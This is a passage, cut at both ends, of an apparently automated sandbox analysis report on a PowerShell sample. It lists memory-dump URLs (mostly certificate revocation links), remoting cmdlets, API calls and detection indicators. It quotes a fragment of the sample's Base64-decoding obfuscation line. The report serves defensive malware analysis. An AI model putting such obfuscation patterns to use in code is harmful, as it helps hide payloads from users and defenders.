match: "t.net" Pattern match: "www.digicert.com1$0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "http://www.microsoft.com0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "0www.entrust.net/cps" Pattern match: "http://repository.swisssign.com/0" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "www.digicert.com1!0" Heuristic match: "em.io.fi" Pattern match: "https://go.microsoft.c" Pattern match: "https://go.microsoft.com/fwlink/?linkid" Pattern match: "https://go.microsoft.com/fwlink/?linkid=623621" Heuristic match: "## all the types of access rights understood by .net" Pattern match: "crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0z" Pattern match: "ww.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0" Pattern match: "www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0a" Pattern match: "soft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0" Pattern match: "http://www.microsoft.com/pki/ce" Pattern match: "http://www.microsoft.com/windows0" Pattern match: "www.microsoft.com/pki/docs/cps/default.htm0@" Pattern match: "www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0" Pattern match: "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0" Pattern match: "http://www.microsoft.com/windows" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" Pattern match: "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=" Pattern match: "https://go.microsoft.com/fwlink/?linkid=74408&enterprise=" Pattern match: "https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%d" Pattern match: "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&" Pattern match: "https://wdcp.microsoft.com/wdcp.svc/submitreport" Pattern match: "http://go.microsoft.com/fwlink/?linkid=42127" Heuristic match: ".io.fi" Heuristic match: "c:\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Pattern match: "wdcp.microsoft.com/wdcp.svc/submitreport" Pattern match: "go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&" Pattern match: "t.com/pk9e" Heuristic match: "ay.am" Pattern match: "https://go.microsoft.com/fwlink/?linkid=623636" Pattern match: "www.insidersurveys.windows.com06" Pattern match: "www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl" Pattern match: "crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0" Pattern match: "www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0" Pattern match: "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0t" Pattern match: "www.microsoft.com/pki/certs/microsoftrootcert.crt0" Pattern match: "http://microsoft.com0" Pattern match: "https://github.com/dahall/taskscheduler"4e:T555a,Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp") Found URL "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namead" - Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czco!yj6n5athawte," - Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e22010000'&htgv4.0.30319c5n6mscorlibname" - Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0250905032048z0/^g(o-cejy" - Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lwashington1redmond1microsoft" - Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3rszysil" - Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mn" - Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://whesoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0b" - Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/ceooceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>washington1redmond1osoft" - Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0qst*dvie-a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found URL "http://crl.microsoftfdsystem.security.permissions.environmentpermissionattribute," - Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00004904.00000000.141303.C6970000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00004904.00000000.141303.C6970000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004904.00000000.141303.C6970000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllmpconfigut-53e7e780-2330-40c6-94c6-be75e946e933oftware\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;ls)maintenanceregularmicrosoft\windows\windows" - Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00004904.00000001.141909.ABEF0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czco!yj6n5athawte," - Source: "00000000-00004904.00000001.141909.C6490000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e22010000'&htgv4.0.30319mscorlibname" - Source: "00000000-00004904.00000001.141909.C6490000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00004904.00000001.141909.C6490000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00004904.00000001.141909.C6490000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00004904.00000001.141909.C6490000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00004904.00000001.141909.C6490000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00004904.00000001.141909.C6490000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00004904.00000001.141909.C6490000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00004904.00000001.141909.C6490000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00004904.00000001.141909.C6490000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00004904.00000001.141909.C6490000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00004904.00000001.141909.C6490000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00004904.00000001.141909.C6490000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0250905032048z0/^g(o-cejy" - Source: "00000000-00004904.00000001.141909.C6490000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00004904.00000001.141909.C6490000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004904.00000001.141909.C6490000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lwashington1redmond1microsoft" - Source: "00000000-00004904.00000001.141909.C6490000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00004904.00000001.141909.C6490000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3rszysil" - Source: "00000000-00004904.00000001.141909.C6490000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00004904.00000001.141909.C6490000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00004904.00000001.141909.C6490000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00004904.00000001.141909.C6490000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004904.00000001.141909.C6505000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportttps://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&indows" - Source: "00000000-00004904.00000001.141909.C6970000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00004904.00000001.141909.C6970000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00004904.00000001.141909.C6970000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004904.00000001.141909.C6970000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0em.x=neukeytutratoke34e0" - Source: "00000000-00004904.00000001.141909.C6AEE000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=623636" - Source: "00000000-00004904.00000001.141909.C6AEE000.00000004.mdmp") Found URL "http://crl.l/prx" - Source: "00000000-00004904.00000001.141909.C6AEE000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00004904.00000001.141909.C6AEE000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00004904.00000001.141909.C6AEE000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00004904.00000001.141909.C6AEE000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00004904.00000001.141909.C6AEE000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004904.00000001.141909.C6AEE000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00004904.00000001.141909.C6AEE000.00000004.mdmp")4f:Taaf,Found string "Exit-PSSession" (Indicator: "Exit-PSSession"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "New-PSSessionConfigurationFile" (Indicator: "New-PSSessionConfigurationFile"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Import-PSSession" (Indicator: "Import-PSSession"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Export-PSSession" (Indicator: "Export-PSSession"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Connect-PSSession" (Indicator: "Connect-PSSession"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Disconnect-PSSession" (Indicator: "Disconnect-PSSession"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "New-PSSession" (Indicator: "New-PSSession"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Get-PSSession" (Indicator: "Get-PSSession"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Remove-PSSession" (Indicator: "Remove-PSSession"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Enter-PSSession" (Indicator: "Enter-PSSession"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Receive-PSSession" (Indicator: "Receive-PSSession"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Disable-PSSessionConfiguration" (Indicator: "Disable-PSSessionConfiguration"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Enable-PSSessionConfiguration" (Indicator: "Enable-PSSessionConfiguration"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Get-PSSessionCapability" (Indicator: "Get-PSSessionCapability"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "New-PSSessionOption" (Indicator: "New-PSSessionOption"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Register-PSSessionConfiguration" (Indicator: "Register-PSSessionConfiguration"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Set-PSSessionConfiguration" (Indicator: "Set-PSSessionConfiguration"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Test-PSSessionConfigurationFile" (Indicator: "Test-PSSessionConfigurationFile"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Unregister-PSSessionConfiguration" (Indicator: "Unregister-PSSessionConfiguration"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp")50:T57d,Found reference to API "RtlGetVersion" (Indicator: "RtlGetVersion"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API "10519915586,6332,3025,,RtlGetNtProductType,NTDLL.dll,"00:36:47.453",RX=0,PX=0" (Indicator: "RtlGetNtProductType"; Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found reference to API ",3025,,RtlGetNtProductType,NTDLL.dll,"00:36:47.281",RX=0,PX=0" (Indicator: "RtlGetNtProductType"; Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found reference to API "10426690132,6332,3025,,RtlGetNtProductType,NTDLL.dll,"00:36:47.421",RX=0,PX=0" (Indicator: "RtlGetNtProductType"; Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found reference to API "11343301944,7496,3025,,RtlGetNtProductType,NTDLL.dll,"00:36:47.796",RX=0,PX=0" (Indicator: "RtlGetNtProductType"; Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found reference to API "32219993602,956,3025,,RtlGetNtProductType,NTDLL.dll,"00:36:56.500",RX=0,PX=0" (Indicator: "RtlGetNtProductType"; Source: "00000000-00004904.00000001.141909.C6AEE000.00000004.mdmp") Found reference to API "33343389004,956,3024,,RtlGetVersion,NTDLL.dll,"00:36:56.968",RX=0,PX=0" (Indicator: "RtlGetVersion"; Source: "00000000-00004904.00000001.141909.C6AEE000.00000004.mdmp")51:T8de,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00004904) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00004904) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00004904) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00004904) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00004904) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00004904) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00004904) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00004904) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00004904) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00004904) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00004904) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00004904) "powershell.exe" called "FindNextFileW" with parameter fe2524177eb3088c77be666722039f52 (UID: 00000000-00004904) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\* (UID: 00000000-00004904) "powershell.exe" called "FindNextFileW" with parameter b5ba37e1558ced178a99011a1d659b52 (UID: 00000000-00004904) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00004904) "powershell.exe" called "FindNextFileW" with parameter e43dd9c73ab5615e461bf5109c3facd6 (UID: 00000000-00004904) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00004904) "powershell.exe" called "FindNextFileW" with parameter 0d59b0e237d7519417de10cd84bda4e7 (UID: 00000000-00004904) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\* (UID: 00000000-00004904)52:T1720,Found string "ECDSA" (Indicator: "ecdsa"; Source: "00000000-00004904.00000000.141303.ABEF0000.00000004.mdmp, 00000000-00004904.00000000.141303.C6490000.00000004.mdmp, 00000000-00004904.00000001.141909.ABEF0000.00000004.mdmp, 00000000-00004904.00000001.141909.C6490000.00000004.mdmp, 00000000-00004904.00000001.141909.C6505000.00000004.mdmp") Found string "[byte[]]$rules=[Convert]::FromBase64String($antehumeral);" (Indicator: "base64"; Source: "00000000-00004904.00000000.141303.ABEF0000.00000004.mdmp, 00000000-00004904.00000000.141303.AC170000.00000004.mdmp, 00000000-00004904.00000000.141303.ADA60000.00000004.mdmp, 00000000-00004904.00000000.141303.C6490000.00000004.mdmp, 00000000-00004904.00000001.141909.ABEF0000.00000004.mdmp, 00000000-00004904.00000001.141909.AC170000.00000004.mdmp, 00000000-00004904.00000001.141909.ADA60000.00000004.mdmp, 00000000-00004904.00000001.141909.C6505000.00000004.mdmp, 00000000-00004904.00000001.141909.C6AEE000.00000004.mdmp") Found string "[byte[]]$rules=[Convert]::FromBase64String($antehumeral);" (Indicator: "FromBase64String"; Source: "00000000-00004904.00000000.141303.ABEF0000.00000004.mdmp, 00000000-00004904.00000000.141303.AC170000.00000004.mdmp, 00000000-00004904.00000000.141303.ADA60000.00000004.mdmp, 00000000-00004904.00000000.141303.C6490000.00000004.mdmp, 00000000-00004904.00000001.141909.ABEF0000.00000004.mdmp, 00000000-00004904.00000001.141909.AC170000.00000004.mdmp, 00000000-00004904.00000001.141909.ADA60000.00000004.mdmp, 00000000-00004904.00000001.141909.C6505000.00000004.mdmp, 00000000-00004904.00000001.141909.C6AEE000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.DoNotAddrOfCspParentWindowHandle" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.UseLegacyFipsThrow" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "$encodedCommand = [Convert]::ToBase64String($bytes)" (Indicator: "base64"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "$encodedCommand = [Convert]::ToBase64String($bytes)" (Indicator: "ToBase64String"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "[-WindowStyle